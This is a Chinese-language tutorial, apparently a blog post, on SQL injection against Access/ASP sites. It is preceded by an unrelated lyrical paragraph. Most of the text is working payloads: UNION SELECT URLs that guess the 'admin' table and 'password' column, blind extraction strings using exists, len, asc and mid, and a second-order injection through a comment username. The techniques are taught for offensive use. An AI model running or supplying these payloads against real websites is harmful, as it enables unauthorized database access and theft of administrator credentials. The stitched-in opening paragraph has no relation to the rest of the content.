多年之前,海洋馆里,巨大的白鲸无声地从两人之间游过;多年之后,一个人古铜色的骨骸静静地躺在世界的彼端,另一个人在空无一人的房间里合衣躺下,世界喧闹而寂静,天空渐黑;相遇的美好,总让人误以为可以持续下去,直到十年百年千年后,其实全都错了。
Access
Access数据库一般都是与asp搭配,现在很少见了,有的时候甚至可以爆目录把数据库下载到本地。
联合查询法
首先使用order by 查询可显示字段数,然后用字典不断的去猜解。
步骤格式如下
https://sxadmin.github.io/show.asp?id=1 order by 22 正常
https://sxadmin.github.io/show.asp?id=1 order by 23 错误
存在22个可显示字段,然后用字典去逐一猜解。
https://sxadmin.github.io/show.asp?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
admin来自你的字典
页面返回正确就继续猜解列名
https://sxadmin.github.io/show.asp?id=1UNION SELECT 1,2,password,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
password也是来自你的字典。
## 逐字猜解法
就像mysql的盲注一样,可以使用access的函数去逐一猜解。
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
二次注入
通常适用于留言板,比如你发布一条评论,然后这条评论传到服务端的数据库,服务端继续把你的评论显示出来,这里数据库有两步,第一是把你的评论insert到数据库,然后再select 你的评论show出来,这两步都是在服务器执行,理论上没办法注入的。
来分析一下服务端的两层sql语句
首先是把你的评论插入到数据库
insert into msg('name','content') values ('langzi','浪子好几把帅啊')
在msg表里面就有了用户langzi评论是浪子好几把帅啊(这不是废话吗)。
插入完后服务端马上执行select 把你的评论显示出来
select * from msg where name = '$name' limit 0,1
其中的变量$name来自html表单中获取用户名
正常情况下回显的内容是
langzi:浪子好几把帅啊
但是这个时候我输入这么一条评论,把用户名修改一下
langzi-->改成-->langzi'%20union%20select%201,2,3,4%20--+
这个时候执行的语句就变成了
insert into msg('name','content') values ('langzi'%20union%20select%201,2,3,4%20--+','浪子好几把帅啊')
数据库中的msg表的name内容变成了
langzi'%20union%20select%201,2,3,4%20--+
然后服务端马上执行
select * from msg where name = 'langzi'%20union%20select%201,2,3,4%20--+ limit 0,1
这样就实现了二次注入。
二次注入即适用于你发布或者填写的内容会写入数据库,一般多用于评论或者发布新文章的地方,拼接好恶意sql语句后,找到显示页面即可。